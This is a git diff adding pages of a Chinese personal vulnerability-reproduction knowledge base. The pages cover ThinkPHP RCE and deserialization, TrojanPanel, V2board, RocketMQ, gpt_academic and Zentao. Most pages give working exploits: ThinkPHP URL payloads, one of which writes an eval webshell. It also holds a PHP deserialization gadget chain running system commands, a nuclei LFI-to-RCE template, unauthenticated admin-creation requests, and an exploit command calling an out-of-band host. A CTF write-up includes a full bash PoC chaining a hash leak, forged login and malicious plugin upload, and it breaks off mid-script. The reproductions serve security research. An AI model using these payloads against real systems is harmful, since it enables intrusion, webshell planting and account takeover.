+ + \ No newline at end of file diff --git a/docs/个人知识库/漏洞复现/Thinkphp/CVE-2022-38352/index.html b/docs/个人知识库/漏洞复现/Thinkphp/CVE-2022-38352/index.html new file mode 100644 index 0000000..9eb9fb4 --- /dev/null +++ b/docs/个人知识库/漏洞复现/Thinkphp/CVE-2022-38352/index.html @@ -0,0 +1,19 @@ + + + + + +CVE-2022-38352 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/docs/个人知识库/漏洞复现/Thinkphp/Thinkphp5.0.22远程代码执行/index.html b/docs/个人知识库/漏洞复现/Thinkphp/Thinkphp5.0.22远程代码执行/index.html new file mode 100644 index 0000000..69b2b95 --- /dev/null +++ b/docs/个人知识库/漏洞复现/Thinkphp/Thinkphp5.0.22远程代码执行/index.html @@ -0,0 +1,79 @@ + + + + + +Thinkphp5.0.22远程代码执行 | wjlin0 + + + + + + + +

Thinkphp5.0.22远程代码执行

作者修订时间
wjlin02025-08-19 16:46:45
+

​ 由于,thinkphp 5.0.23 以及5.1.31 之前的版本都未强制开启路由,所以,导致攻击者可以提交恶意参数导致远程代码执行

+

影响版本​

+

​ thinkphp 当前版本< 5.0.22

+

漏洞分析​

+
+

get请求 index.php?s=index/think\app/invokefunction&function=system&vars[0]=dir&vars[1][]=

+
+

1)从入口index.php 首先会来到 thinkphp 的初始化文件

+
+

thinkphp/library/think/App.php -> run()

+
+

image-20220321153031865

+

2)因为漏洞POC与框架的url处理有关,所以直接跟到URL路由检测函数

+
+
+

thinkphp/library/think/App.php -> run() 116

+
+
+

image-20220321153239864

+

3)在这个方法中会检测 url参数,通过参数访问类或者方法 或者模板

+
+

thinkphp/library/think/App.php-> routeCheck()

+
+

​ 该方法中,第620行 调用$request->path() 返回了 url中的s参数值

+

image-20220321154826904

+
	第643 会解析路由,如果 没有用路由会返回false 
+

image-20220321155231182

+

​ 第 654行 当为无效路由时,会去解析兼容路由,

+

image-20220321155428658

+

4)跟进 Route::parseUrl

+
+

thinkphp/library/think/Route.php->parseUrl() 1217

+
+

image-20220321155637197

+

​ 该方法中,在第1225行 会将$url 即s参数中的值,/ 替换成|,用于解析 模板| 控制器|操作|参数

+

image-20220321160229396

+

​ 最终,往回走,将结果返回给 $result

+

image-20220321161309138

+

5)最终回到run()方法中,

+
+

thinkphp/library/think/App.php > run() 139

+
+

​ 在self::exec() 将获得的 $dispatch 做操作

+

image-20220321161642624

+

6)继续跟进,由于 $dispatch 中的第一个参数为,'module'则会去调用,self::module

+

image-20220321161927364

+
    +
  1. 在self::module 第585行会做对比,看模板方法是否存在,存在则会进入if语句中
  2. +
+

image-20220321162809024

+

8.最后返回值,调用self::invokeMethod

+

image-20220321162853374

+

在该方法中会生成ReflectionMethod对象,最后的返回值,调用 ReflectionMethod对象的invokeArgs 方法,该方法会回调一个方法 即 $args数组的第一个,即 invokeFunction

+

image-20220321165756665

+

9)最后在InvokeFunction 方法执行危险函数

+

image-20220321170004451

+

注:关于在ReflectionMethod的使用可参考

+
+

PHP: ReflectionMethod - Manual

+
+

Payload​

+
http://localhost/index.php?s=index/think\app/invokefunction&function=system&vars[0]=whoami&vars[1][]=

http://localhost/index.php?s=index/think\app/invokefunction&function=call_func_user_array&vars[0]=system&vars[1][]=whoami
+
http://localhost/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=sad.php&vars[1][1]=<?php eval($_POST[cmd])?>
+ + \ No newline at end of file diff --git a/docs/个人知识库/漏洞复现/Thinkphp/Thinkphp6.0.12反序列化/index.html b/docs/个人知识库/漏洞复现/Thinkphp/Thinkphp6.0.12反序列化/index.html new file mode 100644 index 0000000..e528b21 --- /dev/null +++ b/docs/个人知识库/漏洞复现/Thinkphp/Thinkphp6.0.12反序列化/index.html @@ -0,0 +1,89 @@ + + + + + +Thinkphp6.0.12反序列化 | wjlin0 + + + + + + + +

Thinkphp6.0.12反序列化

作者修订时间
wjlin02025-08-19 16:46:59
+
+

Thinkphp6.0.12

+

php 7.4.0

+
+

composer create-project topthink/think=6.0.12 tp6

+

测试代码​

+
    +
  1. 在项目目录下创建一个测试控制器
  2. +
+

php think make:controller Test

+
    +
  1. 在Test控制器 index方法中添加
  2. +
+
    public function index()
{
if ($a=input('param.a')){
var_dump(base64_decode($a));
echo "<br>";
unserialize(base64_decode($a));
}
}
+

漏洞分析​

+

​ 1.在大佬的文章总结中, 反序列化 一般起点出现在__desturct 和 __wakeup 通过全局搜索 查询满足条件的 在:vendor\topthink\think-orm\src\Model.php(大佬怎么说我怎么写)

+

image-20220303180420019

+
    +
  1. +

    第一个条件 要把 $this->lazySave设置为True

    +

    跟进$this->save(), $this->isEmpty() 只要保证data 不为空就行 $this->trigger('BeforeWrite')) 默认返回为真

    +
  2. +
+
public function isEmpty(): bool
{
return empty($this->data);
}
+
    +
  1. 将 $this->exists设置为True,跟进 $this -> updateData()
  2. +
+

image-20220303181123318

+
    +
  1. 在 621列 $allowFields = $this->checkAllowFields() 跟进
  2. +
+

image-20220303181558066

+
    +
  1. 继续跟进 565列 $query = $this->db();
  2. +
+

image-20220303181719266

+
    +
  1. 在362行将 $this->table . $this->suffix 拼接在一起,将$this->table 设置为一个对象 触发 __toString
  2. +
+

image-20220303181958370

+
    +
  1. 全局查找__toString 最后在 vendor\topthink\think-orm\src\model\concern\Conversion.php 中找到__toString()(以前版本也是在这里出现漏洞的,反正很好找到)这里是一个代码复用的机制所以不用将$this->table 设置成特定类, 刚好Model抽象类也有用到 use model\concern\Conversion 所以这里直接实例化本身就行
  2. +
+

image-20220303183151437

+
    +
  1. 继续跟进$this->toArray() ,将 $this->data 设置为数据即可进入循环, 在238 中跟进 $key 是 $data的键名
  2. +
+

image-20220303183401764

+
    +
  1. 跟进$this->getAttr($key)
  2. +
+

image-20220303183631626

+

$name 可控不提

+

$value 为 $this->getData($name)返回值 ,跟进一下

+

image-20220303183905068

+

$fieldName 跟进一下

+

image-20220303183952916

+

$fieldName 可控, 返回的是 $this->data[$fieldName]

+

很明显这个$value就是 $this->data的值,

+
    +
  1. 继续跟进$this->getValue($name, $value, $relation);
  2. +
+

image-20220303184253914

+

第 509 行 ,$fieldName 为 $this->data 键名 ,将this->json 设置成 $this->data的键名,$this->withAttr[$fieldName] 设置成 数组就行

+
    +
  1. 跟进$this->getJsonValue($fieldName, $value),保证$this->jsonAssoc为真即可,将$this->withAttr的 值设置成你需要执行的函数,而 $this->data的值设置为 需要执行的代码即可
  2. +
+

image-20220303185128690

+

POC​

+
<?php
namespace think{
abstract class Model{
private $lazySave;
private $data;
protected $table;
private $withAttr;
protected $json ;
protected $jsonAssoc;
private $exists;
public function __construct($obj = '')
{
$this->lazySave = True;
$this->exists = True;
$this->data = ['arr' =>['whoami']];
$this->table = $obj;
$this->withAttr = ['arr'=>['system']];
$this->json = ['arr'];
$this->jsonAssoc = True;
}
}
}
namespace think\Model{
use think\Model;
class Pivot extends Model{
}
}

namespace {
$a = new think\model\Pivot();
$b = new think\model\Pivot($a);
echo base64_encode(serialize($b));

}

+

结果​

+

image-20220303185727488

+
<?php

namespace think\model\concern;

trait Attribute
{
private $data = ["key" => ["key1" => "cat /f*"]];
private $withAttr = ["key"=>["key1"=>"system"]];
protected $json = ["key"];
}
namespace think;

abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
protected $jsonAssoc;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
$this->jsonAssoc = true;
}
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));
+ + \ No newline at end of file diff --git a/docs/个人知识库/漏洞复现/Thinkphp/Thinkphpv6.0.13多语言Rce/index.html b/docs/个人知识库/漏洞复现/Thinkphp/Thinkphpv6.0.13多语言Rce/index.html new file mode 100644 index 0000000..96b59e8 --- /dev/null +++ b/docs/个人知识库/漏洞复现/Thinkphp/Thinkphpv6.0.13多语言Rce/index.html @@ -0,0 +1,64 @@ + + + + + +Thinkphpv6.0.13多语言Rce | wjlin0 + + + + + + + +

Thinkphpv6.0.13多语言Rce

作者修订时间
wjlin02025-10-14 23:58:22
+

Thinkphp,v6.0.1~v6.0.13,v5.0.x,v5.1.x

+

fofa指纹​

+
header="think_lang"
+

漏洞描述​

+

如果 Thinkphp 程序开启了多语言功能,那就可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含,通过 pearcmd 文件包含这个 trick 即可实现 RCE。

+

环境搭建​

+

thinkphp6 ,打开多语言功能​

+

app/middleware.php:

+
<?php
// 全局中间件定义文件
return [
// 全局请求缓存
// \think\middleware\CheckRequestCache::class,
// 多语言加载
\think\middleware\LoadLangPack::class,
// Session初始化
// \think\middleware\SessionInit::class
];
+

thinkphp5 ,打开多语言功能​

+

config/app.php +application/config.php

+
'lang_switch_on'         => true
+

测试环境搭建​

+
git clone https://github.com/top-think/think.git tp6
cd tp6
git checkout v6.0.12
+

更改 composer.json ,安装 v6.0.12 :

+
"require": {
"php": ">=7.2.5",
"topthink/framework": "6.0.12",
"topthink/think-orm": "^2.0"
},
+
composer install
+

然后打开多语言功能:app/middleware.php

+

<?php
// 全局中间件定义文件
return [
// 全局请求缓存
// \think\middleware\CheckRequestCache::class,
// 多语言加载
\think\middleware\LoadLangPack::class,
// Session初始化
// \think\middleware\SessionInit::class
];
+

启动docker

+
docker run -itd -p 1080:80 --name tp6 -v $PWD:/var/www/html php:7.4-apache
+

访问:

+

http://192.168.1.128:1080/public/index.php

+

调试​

+

调试环境:windows ,php7.4,thinkphp6.0.13(调试环境用的另一个、不影响结果)

+
http://127.0.0.1/index.php?lang=../../../../../public/index
+

每个 middleware 的 handle() 函数都会被调用,这里断在 LoadLangPack.php 的 handle() ,直接在最开头调用 $langset = $this->detect($request); :

+

image-20221221114801906

+

跟进$this->detect($request), 发现是对langSet取值,

+

image-20221221115109654

+

91行,这里做了一个判断,我们可以不难发现这个$this->config['allow_lang_list'] 默认是为空的,可以不用管,返回值就为这里的$range

+

image-20221221115217996

+

回到handle(),发现会只要不是与$this->config['default_lang'] 默认触发会调用$this->lang->switchLangSet($langset); ,跟进调试

+

image-20221221115558778

+

在 135 行,$this->load([ $this->app->getThinkPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.php',]),在这里就实现了文件包含

+
$this->load([
$this->app->getThinkPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.php',
]);
+

在$this->load([ $this->app->getThinkPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.php',])中,默认会走到$this->parse($name)

+

image-20221221120750404

+

如果是php文件直接就include的了

+

image-20221221120935057

+

image-20221221121001328

+

POC​

+

可以利用pearcmd 文件包含这个 trick ,可以参考 p 牛的文章:

+

https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp

+
id: thinkphp-language-local-file-include
info:
name: thinkphp-多语言-本地文件包含rce
author: wjlin0
severity: critical
description: 如果 Thinkphp 程序开启了多语言功能,那就可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含,通过 pearcmd 文件包含这个 trick 即可实现 RCE。
metadata:
fofa-query: header="think_lang"
reference:
- https://tttang.com/archive/1865/#toc_thinkphp-6
- https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp
tags: rce,thinkphp,include
requests:
- raw:
- |+
GET /index.php?+config-create+/&lang=../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo();?>+/tmp/admin.php HTTP/1.1
Host: {{Hostname}}
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

- |+
GET /index.php?lang=../../../../../../../../tmp/admin HTTP/1.1
Host: {{Hostname}}
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

matchers-condition: and
matchers:
- type: word
part: body
words:
- PHP Version
- type: word
part: body
words:
- '#PEAR_Config'
- type: status
status:
- 200
+

参考​

+

Thinkphp 多语言 RCE - 跳跳糖

+ + \ No newline at end of file diff --git a/docs/个人知识库/漏洞复现/Trojanpanel/TrojanPanel未授权添加用户/index.html b/docs/个人知识库/漏洞复现/Trojanpanel/TrojanPanel未授权添加用户/index.html new file mode 100644 index 0000000..905a99e --- /dev/null +++ b/docs/个人知识库/漏洞复现/Trojanpanel/TrojanPanel未授权添加用户/index.html @@ -0,0 +1,24 @@ + + + + + +TrojanPanel未授权添加用户 | wjlin0 + + + + + + + +

TrojanPanel未授权添加用户

作者修订时间
wjlin02025-08-19 16:48:04
+

闲来无事 发现了 一个授权漏洞

+

**漏洞描述:**攻击者可以未授权添加后台管理员用户

+

如下图所示,通过burp发送请求即可添加管理员用户

+
POST /api/account/createAccount HTTP/1.1
Host: xx.xx.xx.xx:xxx
Content-Length: 165
Sec-Ch-Ua: "Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111"
Accept: application/json, text/plain, */*
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"quota":-1,"download":0,"upload":0,"username":"test02","pass":"qwe511402","roleId":2,"deleted":0,"expireTime":1964411864000,"createTime":"2023-04-09T05:57:44.830Z"}
+

发送后,即可成功用户test02 登录到后台,如下图

+

image-20230409143850113

+

**漏洞危害:**利用该接口,攻击者可成功添加用户至后台、

+

**修复建议:**添加鉴权,只允许系统管理员添加用户

+ + \ No newline at end of file diff --git a/docs/个人知识库/漏洞复现/V2board/privilege-escalation-1.6/index.html b/docs/个人知识库/漏洞复现/V2board/privilege-escalation-1.6/index.html new file mode 100644 index 0000000..48010bf --- /dev/null +++ b/docs/个人知识库/漏洞复现/V2board/privilege-escalation-1.6/index.html @@ -0,0 +1,50 @@ + + + + + +privilege-escalation-1.6 | wjlin0 + + + + + + + +

privilege-escalation-1.6

作者修订时间
wjlin02025-08-19 16:47:37
+
+

无意中发现一个机场的管理端有这个越权漏洞所以简单复现一下

+
+

V2board是一个多用户代理工具管理面板。在其1.6.1版本中,引入了对于用户Session的缓存机制,服务器会将用户的认证信息储存在Redis缓存中。

+

但由于读取缓存时没有校验该用户是普通用户还是管理员,导致普通用户的认证信息即可访问管理员接口,造成提权漏洞。

+

参考链接:

+ +

漏洞环境​

+ +

漏洞复现​

+

可以从参考连接中找到一个鉴权的相关信息,从缓存中拿到认证后并没有做鉴权,所以一个用户的session 可以去访问所以接口。

+

image-20230129144621914

+

复现该漏洞,必须注册或找到一个普通用户账号。注册完成后,我们发送如下请求进行登录(将其中账号密码替换成你注册时使用的信息):

+
curl -i -s -X POST -d "email=test2%40test.com&password=12345678&invite_code=&email_code=" http://192.168.182.1:18080/api/v1/passport/auth/register
+

image-20230129150322091

+

注册完成后,选择登录会返回auth_data

+
curl -i -s -X POST -d "email=test%40test.com&password=12345678" http://192.168.182.1:18080/api/v1/passport/auth/login
+

image-20230129145843609

+

拷贝这个认证信息,并替换到如下数据包的Authorization头中,发送:

+
GET /api/v1/user/info HTTP/1.1
Host: 192.168.182.1:18080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: */*
Authorization: dGVzdEB0ZXN0LmNvbTokMnkkMTAkMFFNMzBEcXJvSkNwbGprSng1MEE0dUlsdjZTQmpqVlpnNVRzT0NaY215ZTMub2dsSGlwNnk
Connection: close

+

或者

+
curl -i -s -X GET -H "Authorization: dGVzdEB0ZXN0LmNvbTokMnkkMTAkMFFNMzBEcXJvSkNwbGprSng1MEE0dUlsdjZTQmpqVlpnNVRzT0NaY215ZTMub2dsSGlwNnk"  http://192.168.182.1:18080/api/v1/user/info
+

image-20230129150050396

+

image-20230129150811848

+

写入后,带着这个auth 去请求Admin的Api即可

+
GET /api/v1/admin/user/fetch HTTP/1.1
Host: 192.168.182.1:18080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: */*
Authorization: dGVzdEB0ZXN0LmNvbTokMnkkMTAkMFFNMzBEcXJvSkNwbGprSng1MEE0dUlsdjZTQmpqVlpnNVRzT0NaY215ZTMub2dsSGlwNnk
Connection: close

+

或者

+
curl -H "Authorization: dGVzdEB0ZXN0LmNvbTokMnkkMTAkMFFNMzBEcXJvSkNwbGprSng1MEE0dUlsdjZTQmpqVlpnNVRzT0NaY215ZTMub2dsSGlwNnk" -i -s -X GET http://192.168.182.1:18080/api/v1/admin/user/fetch
+

image-20230129150731716

+

image-20230129150723125

+ + \ No newline at end of file diff --git a/docs/个人知识库/漏洞复现/cve/2023/CVE-2023-33246/index.html b/docs/个人知识库/漏洞复现/cve/2023/CVE-2023-33246/index.html new file mode 100644 index 0000000..05a76d1 --- /dev/null +++ b/docs/个人知识库/漏洞复现/cve/2023/CVE-2023-33246/index.html @@ -0,0 +1,27 @@ + + + + + +CVE-2023-33246 | wjlin0 + + + + + + + +

CVE-2023-33246

CVE-2023-33246

+
+

对于RocketMQ 5.1.0及以下版本,在某些情况下,存在远程命令执行的风险。RocketMQ的几个组件,包括NameServer、Broker和Controller,在extranet上泄露,并且缺乏权限验证,攻击者可以通过使用更新配置功能作为RocketMQ运行的系统用户执行命令来利用此漏洞。此外,攻击者还可以通过伪造RocketMQ协议内容来达到同样的效果。为了防止这些攻击,建议用户升级到5.1.1或更高版本以使用RocketMQ 5.x,或升级到4.9.6或更高版以使用Rocket MQ 4.x。

+
+

环境搭建​

+
docker pull apache/rocketmq:4.9.4
# Start nameserver
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv
# Start Broker
docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf
+

攻击​

+
+

poc: check.py

+

exp: exp.py

+
+
# Detect RocketMQ version to identify vulnerabilities
```
python3 check.py --ip 127.0.0.1 --port 9876
# or
python3 check.py --file rocketmq_targets.txt --port 9876
```

# Run exploit
```
python3 exp.py 127.0.0.1 10911 curl chw9ft72vtc00002z5k0ge6rz7eyyyyyb.oast.fun/test
```

+ + \ No newline at end of file diff --git a/docs/个人知识库/漏洞复现/cve/2023/CVE-2023-33979/index.html b/docs/个人知识库/漏洞复现/cve/2023/CVE-2023-33979/index.html new file mode 100644 index 0000000..f5c5e3e --- /dev/null +++ b/docs/个人知识库/漏洞复现/cve/2023/CVE-2023-33979/index.html @@ -0,0 +1,26 @@ + + + + + +CVE-2023-33979 | wjlin0 + + + + + + + +

CVE-2023-33979

CVE-2023-33979

+
+

gpt_academic 为 ChatGPT/GLM 提供图形界面。在 gpt_academic 3.37 及之前的版本中发现了一个漏洞。此问题会影响组件配置文件处理程序的某些未知处理。参数文件的操纵导致信息泄露。由于没有配置敏感文件禁止访问,部分工作目录下的敏感信息文件可以通过/file路径读取,导致敏感信息泄露。这会影响通过“config.py”、“config_private.py”、“Dockerfile”使用文件配置的用户。补丁可在提交 1dcc2873d2168ad2d3d70afcb453ac1695fbdf02 获得。作为一种解决方法,可以使用环境变量而不是 config*.py 文件来配置这个项目,或者使用 docker-compose 安装来配置这个项目。

+
+

环境搭建​

+
git clone -b version3.36 https://github.com/binary-husky/gpt_academic.git
cd gpt_academic && python -m pip install -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/
# 填写好对应的key后即可启动
python main.py
+

攻击​

+
+

poc: CVE-2023-33979.yaml

+
+
# nuclei version 2.9.6
# nuclei -t poc.yaml -u http://www.wjlin0.com
+ + \ No newline at end of file diff --git a/docs/个人知识库/漏洞复现/用友/YonBIP/YonBIP_NCSysBrokerServlet_反序列化漏洞分析/YonBIP_NCSysBrokerServlet_反序列化漏洞分析(1)/index.html b/docs/个人知识库/漏洞复现/用友/YonBIP/YonBIP_NCSysBrokerServlet_反序列化漏洞分析/YonBIP_NCSysBrokerServlet_反序列化漏洞分析(1)/index.html new file mode 100644 index 0000000..6346180 --- /dev/null +++ b/docs/个人知识库/漏洞复现/用友/YonBIP/YonBIP_NCSysBrokerServlet_反序列化漏洞分析/YonBIP_NCSysBrokerServlet_反序列化漏洞分析(1)/index.html @@ -0,0 +1,16 @@ + + + + + +wjlin0 + + + + + + + +

找不到页面

我们找不到您要找的页面。

请联系原始链接来源网站的所有者,并告知他们链接已损坏。

+ + \ No newline at end of file diff --git a/docs/个人知识库/漏洞复现/禅道/chandao_ajaxGetList_flag_wp/index.html b/docs/个人知识库/漏洞复现/禅道/chandao_ajaxGetList_flag_wp/index.html new file mode 100644 index 0000000..050bb03 --- /dev/null +++ b/docs/个人知识库/漏洞复现/禅道/chandao_ajaxGetList_flag_wp/index.html @@ -0,0 +1,148 @@ + + + + + +禅道 action.ajaxGetList 未授权泄露到 Getshell 读取 /flag WP | wjlin0 + + + + + + + +

禅道 action.ajaxGetList 未授权泄露到 Getshell 读取 /flag WP

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-08-28 19:22:45
+

0x01 环境信息​

+

目标是禅道系统,入口形式如下:

+
/index.php?m=模块名&f=方法名
+

当前重点接口:

+
/index.php?m=action&f=ajaxGetList
+

本地验证环境:

+
http://127.0.0.1:18088
+

如果是远程靶机,把 PoC 里的 BASE_URL 改成远程地址即可。

+
+

注意:环境里原先遗留过 /data/cmd.php,这是历史 webshell,不能作为本题解法使用。正式链路里不依赖该文件。

+
+

0x02 漏洞点分析​

+

禅道配置里把 action.ajaxGetList 加入了未登录可访问的方法列表:

+
$config->openMethods[] = 'action.ajaxgetlist';
+

对应控制器逻辑大致如下:

+
public function ajaxGetList($objectType, $objectID)
{
$this->app->loadLang($objectType);
$actions = $this->action->getList($objectType, $objectID);
$actions = $this->action->buildActionList($actions);
return $this->send($actions);
}
+

该接口本意是给对象详情页异步加载操作历史,但没有重新校验当前用户是否有权限查看对应对象历史。

+

接口需要加 Ajax 头,否则响应为空:

+
X-Requested-With: XMLHttpRequest
+

访问用户对象历史:

+
curl -sS \
-H 'X-Requested-With: XMLHttpRequest' \
'http://127.0.0.1:18088/index.php?m=action&f=ajaxGetList&objectType=user&objectID=15'
+

可以看到用户 15 的密码修改历史,例如:

+
旧值为 "aa11c1eecc7dcdb46252f3ac31c45e30",新值为 "0f2797f2182804d0cc7f0b85d254c146"
+

泄露出的新值:

+
0f2797f2182804d0cc7f0b85d254c146
+

这个哈希刚好也是当前 admin 用户的数据库密码哈希。

+

0x03 为什么泄露哈希可以登录​

+

禅道前端登录时不是直接提交明文密码,而是先请求随机数:

+
/index.php?m=user&f=refreshRandom
+

然后提交:

+
md5(md5(明文密码) + rand)
+

服务端校验 32 位密码参数时,会执行类似逻辑:

+
if(strlen($password) == 32)
{
$hash = $this->session->rand ? md5($user->password . $this->session->rand) : $user->password;
if($password == $hash) return $user;
}
+

也就是说,服务端拿数据库里的 user->password 与当前 session 的 rand 拼接再 MD5。

+

因此只要知道数据库密码哈希,就可以不爆破明文密码,直接构造:

+
login_password = md5(leaked_db_hash + rand)
+

登录流程:

+
base='http://127.0.0.1:18088'
cj=$(mktemp)

hash='0f2797f2182804d0cc7f0b85d254c146'
rand=$(curl -sS -c "$cj" "$base/index.php?m=user&f=refreshRandom")
pass=$(php -r 'echo md5($argv[1].$argv[2]);' "$hash" "$rand")

curl -sS -b "$cj" -c "$cj" \
"$base/index.php?m=user&f=login&account=admin&password=$pass&passwordStrength=3"
+

登录成功后,$cj 里保存了有效的 zentaosid。

+

0x04 后台插件上传 Getshell 思路​

+

登录 admin 后,可以访问禅道后台插件安装功能:

+
/index.php?m=extension&f=upload
/index.php?m=extension&f=install
+

插件 ZIP 解压后会进入:

+
/data/zentao/extension/pkg/<插件代号>/
+

安装插件时,会把插件包内除 db、doc、hook 以外的目录复制到禅道应用根目录。

+

例如 ZIP 内包含:

+
ctf_flag_ext/
├── doc/
│ └── en.yaml
└── www/
└── data/
└── readflag.php
+

安装后会复制为:

+
/data/zentao/www/data/readflag.php
+

Web 访问路径就是:

+
/data/readflag.php
+

readflag.php 内容:

+
<?php readfile('/flag');
+

0x05 制作插件 ZIP​

+

插件包目录必须带一个说明文件,最小 doc/en.yaml 如下:

+
code: ctf_flag_ext
name: CTF Flag Extension
version: 1.0
author: ctf
desc: ctf
license: mit
type: extension
zentaoVersion: all
+

制作命令:

+
work=$(mktemp -d)
mkdir -p "$work/ctf_flag_ext/doc" "$work/ctf_flag_ext/www/data"

cat > "$work/ctf_flag_ext/doc/en.yaml" <<'YAML'
code: ctf_flag_ext
name: CTF Flag Extension
version: 1.0
author: ctf
desc: ctf
license: mit
type: extension
zentaoVersion: all
YAML

cat > "$work/ctf_flag_ext/www/data/readflag.php" <<'PHP'
<?php readfile('/flag');
PHP

cd "$work"
zip -q -r ctf_flag_ext.zip ctf_flag_ext
+

生成的 ZIP 路径:

+
$work/ctf_flag_ext.zip
+

0x06 上传插件的坑点​

+

上传请求必须带同源 Referer,否则禅道框架的 CSRF 逻辑会清空 $_FILES 和 $_POST,导致你明明发了 multipart,服务端却进入不了上传分支。

+

正确上传请求:

+
curl -sS \
-b "$cj" -c "$cj" \
-H "Referer: $base/index.php?m=extension&f=upload" \
-H 'X-Requested-With: XMLHttpRequest' \
-F "files[]=@$work/ctf_flag_ext.zip;filename=ctf_flag_ext.zip" \
"$base/index.php?m=extension&f=upload"
+

成功响应类似:

+
{"result":"success","callback":{"name":"loadInModal","params":"/index.php?m=extension&f=install&extension=ctf_flag_ext"}}
+

0x07 安装插件的坑点​

+

extension.install 的 PHP 方法签名是:

+
public function install(
$extension,
$downLink = '',
$md5 = '',
$type = '',
$overridePackage = 'no',
$ignoreCompatible = 'no',
$overrideFile = 'no',
$agreeLicense = 'no',
$upgrade = 'no'
)
+

禅道这里的参数是按 URL 参数出现顺序绑定的,不要以为参数名一定会生效。

+

所以安装时要把前面的空参数也补齐:

+
curl -sS \
-b "$cj" -c "$cj" \
-H "Referer: $base/index.php?m=extension&f=install" \
"$base/index.php?m=extension&f=install&extension=ctf_flag_ext&downLink=&md5=&type=&overridePackage=no&ignoreCompatible=yes&overrideFile=yes&agreeLicense=yes&upgrade=no"
+

然后访问:

+
curl -sS "$base/data/readflag.php"
+

即可得到:

+
flag{12345}
+

0x08 完整 Burp 代理版 PoC​

+

下面这个 PoC 会把所有 HTTP 请求代理到 Burp:

+
http://127.0.0.1:8080
+

使用前确保 Burp 已经监听 127.0.0.1:8080。

+

如果目标是 HTTPS 且证书不被信任,curl 版本 PoC 用 -k,Python 版本 PoC 用 verify=False。

+

Bash + curl 版​

+
#!/usr/bin/env bash
set -euo pipefail

BASE_URL="${1:-http://127.0.0.1:18088}"
BURP_PROXY="${BURP_PROXY:-http://127.0.0.1:8080}"

cj=$(mktemp)
work=$(mktemp -d)

echo "[+] Target: $BASE_URL"
echo "[+] Burp proxy: $BURP_PROXY"

echo "[+] Step 1: leak password hash from action.ajaxGetList"
leak_resp=$(curl -k -sS \
--proxy "$BURP_PROXY" \
-H 'X-Requested-With: XMLHttpRequest' \
"$BASE_URL/index.php?m=action&f=ajaxGetList&objectType=user&objectID=15")

hash=$(printf '%s' "$leak_resp" | grep -Eo '[a-f0-9]{32}' | tail -n 1)
echo "[+] leaked hash: $hash"

echo "[+] Step 2: get session rand"
rand=$(curl -k -sS \
--proxy "$BURP_PROXY" \
-c "$cj" \
"$BASE_URL/index.php?m=user&f=refreshRandom")

echo "[+] rand: $rand"

echo "[+] Step 3: build login password md5(hash + rand)"
login_pass=$(php -r 'echo md5($argv[1].$argv[2]);' "$hash" "$rand")
echo "[+] login password: $login_pass"

echo "[+] Step 4: login as admin"
curl -k -sS \
--proxy "$BURP_PROXY" \
-b "$cj" -c "$cj" \
"$BASE_URL/index.php?m=user&f=login&account=admin&password=$login_pass&passwordStrength=3" \
>/dev/null

echo "[+] Step 5: make malicious extension zip"
mkdir -p "$work/ctf_flag_ext/doc" "$work/ctf_flag_ext/www/data"

cat > "$work/ctf_flag_ext/doc/en.yaml" <<'YAML'
code: ctf_flag_ext
name: CTF Flag Extension
version: 1.0
author: ctf
desc: ctf
license: mit
type: extension
zentaoVersion: all
YAML

cat > "$work/ctf_flag_ext/www/data/readflag.php" <<'PHP'
<?php readfile('/flag');
PHP

(
cd "$work"
zip -q -r ctf_flag_ext.zip ctf_flag_ext
)

echo "[+] zip path: $work/ctf_flag_ext.zip"

echo "[+] Step 6: upload extension zip"
curl -k -sS \
